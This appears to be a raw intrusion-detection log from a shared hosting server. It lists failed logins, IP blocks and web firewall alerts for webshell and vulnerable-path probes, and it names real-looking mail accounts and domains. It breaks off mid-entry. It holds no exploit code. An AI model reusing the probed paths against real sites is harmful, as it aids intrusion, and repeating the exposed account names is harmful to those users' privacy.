country_id: 2395170
description:
Jan 16 15:25:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.39.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jan 16 15:26:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 15:28:16 H=([45.144.212.242]) [45.144.212.242]:51862 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 15:28:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 117.121.214.50
country_id: 1605651
description:
2026-01-16 15:31:16 169909 [Warning] Aborted connection 169909 to db: 'unconnected' user: 'unauthenticated' host: '117.121.214.50' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.194.140.241
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpunit/php-code-coverage/tests HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 15:32:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.236.105.184
country_id: 3658394
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpunit/php-code-coverage/tests/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:35:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41086: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 72.80.64.128
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-36.72.80.64.128||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/img/druma_photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.78
country_id: 690791
description:
Jan 16 15:36:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:37:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:46648: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.156
country_id: 953987
description:
Jan 16 15:37:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.51
country_id: 1269750
description:
Jan 16 15:37:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.51
country_id: 1269750
description:
Jan 16 15:37:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.34
country_id: 3175395
description:
Jan 16 15:38:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/images/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 15:40:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61948: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.248
country_id: 732800
description:
Jan 16 15:41:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.248 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 15:42:17 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.65.158.9
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/news-more.php?id=274446 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.128.63.138
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/Thumbs.db||User:cofrethcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 15:45:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.16
country_id: 1269750
description:
Jan 16 15:46:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.141
country_id: 3865483
description:
Jan 16 15:49:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.240
country_id: 2300660
description:
Jan 16 15:49:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.226
country_id: 3469034
description:
Jan 16 15:49:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.226 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.166.100.120
country_id: 1282988
description:
[2026-01-16 15:51:02 +0800] info [cpaneld] 103.166.100.120 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.106.8.188
country_id: 1643084
description:
[2026-01-16 15:51:03 +0800] info [cpaneld] 175.106.8.188 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.134.105.252
country_id: 1733045
description:
[2026-01-16 15:51:05 +0800] info [cpaneld] 115.134.105.252 - cabe "GET /login/?login_only=1&user=cabe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cabe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.163.38.185
country_id: 3077311
description:
Jan 16 15:51:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.163.38.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.230
country_id: 2510769
description:
Jan 16 15:51:28 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/revolution/js/jquery.themepunch.revolution.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.easing.1.3.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.153
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/retina.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.140
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/justified-gallery.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.146
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/bootsnav.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.137
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/revolution/css/settings.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/wow.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.135
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/isotope.pkgd.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.142
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/swiper.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/smooth-scroll.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.151
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.count-to.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/revolution/css/layers.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.fitvids.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.147
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.stellar.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.134
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/skrollr.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.138
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/skill.bars.jquery.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.155
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.139
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.magnific-popup.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/responsive.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.134.80.99
country_id: 6252001
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/about.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.150
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/main.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/themify-icons.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.154
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.appear.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/imagesloaded.pkgd.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.203.251
country_id: 3469034
description:
Jan 16 15:52:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.93.203.251 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/swiper.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/modernizr.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.131
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/magnific-popup.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/fonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.233.254.8
country_id: 2921044
description:
Jan 16 15:53:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.233.254.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/fonts/fa-solid-900.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.110.178.216
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/RequestStack.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - jaya@ktlog.com.my [01/16/2026:07:55:45 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: jaya@ktlog.com.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.162
country_id: 953987
description:
Jan 16 15:55:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.162 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.162
country_id: 953987
description:
Jan 16 15:55:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.241
country_id: 953987
description:
Jan 16 15:59:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.173.177.133
country_id: 6252001
description:
Jan 16 15:59:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.173.177.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-16 15:59:57 dovecot_login authenticator failed for H=(xyzf) [107.173.177.133]:58967: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.241
country_id: 953987
description:
Jan 16 15:59:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 69.244.48.42
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/door/16/199/1676847 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 16:03:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41095: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 49.229.135.96
country_id: 1605651
description:
2026-01-16 16:03:33 171743 [Warning] Aborted connection 171743 to db: 'unconnected' user: 'unauthenticated' host: '49.229.135.96' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.255.73.229
country_id: 1269750
description:
Jan 16 16:04:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.255.73.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.173
country_id: 3175395
description:
Jan 16 16:04:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.112.113
country_id: 6252001
description:
Jan 16 16:04:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.112.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.112.113
country_id: 6252001
description:
2026-01-16 16:04:54 dovecot_login authenticator failed for H=(xwvbof) [92.118.112.113]:54170: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.18
country_id: 3175395
description:
Jan 16 16:04:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.18 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.56
country_id: 6252001
description:
2026-01-16 16:05:57 171851 [Warning] Aborted connection 171851 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.56' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.173
country_id: 3175395
description:
Jan 16 16:05:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 16:05:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:46679: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.18
country_id: 3175395
description:
Jan 16 16:05:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.115
country_id: 2300660
description:
Jan 16 16:05:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.43.230.6
country_id: 798544
description:
Jan 16 16:05:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.43.230.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.242
country_id: 953987
description:
Jan 16 16:05:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.169.79.122
country_id: 6252001
description:
2026-01-16 16:06:26 dovecot_login authenticator failed for H=([127.0.0.1]) [76.169.79.122]:36498: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.210
country_id: 1814991
description:
2026-01-16 16:06:53 dovecot_login authenticator failed for H=(zfumz) [171.104.244.210]:62441: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.210
country_id: 1814991
description:
2026-01-16 16:07:01 dovecot_login authenticator failed for H=(gqoss) [171.104.244.210]:62441: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 16:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62201: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.204.215.126
country_id: 1814991
description:
2026-01-16 16:09:56 dovecot_login authenticator failed for H=([121.204.215.126]) [121.204.215.126]:50508: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.92.76.210
country_id: 1694008
description:
Jan 16 16:09:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.92.76.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-01-16 16:09:07 dovecot_login authenticator failed for H=(119.92.76.210.static.pldt.net) [119.92.76.210]:60282: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.192.83.208
country_id: 3175395
description:
Jan 16 16:09:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.192.83.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
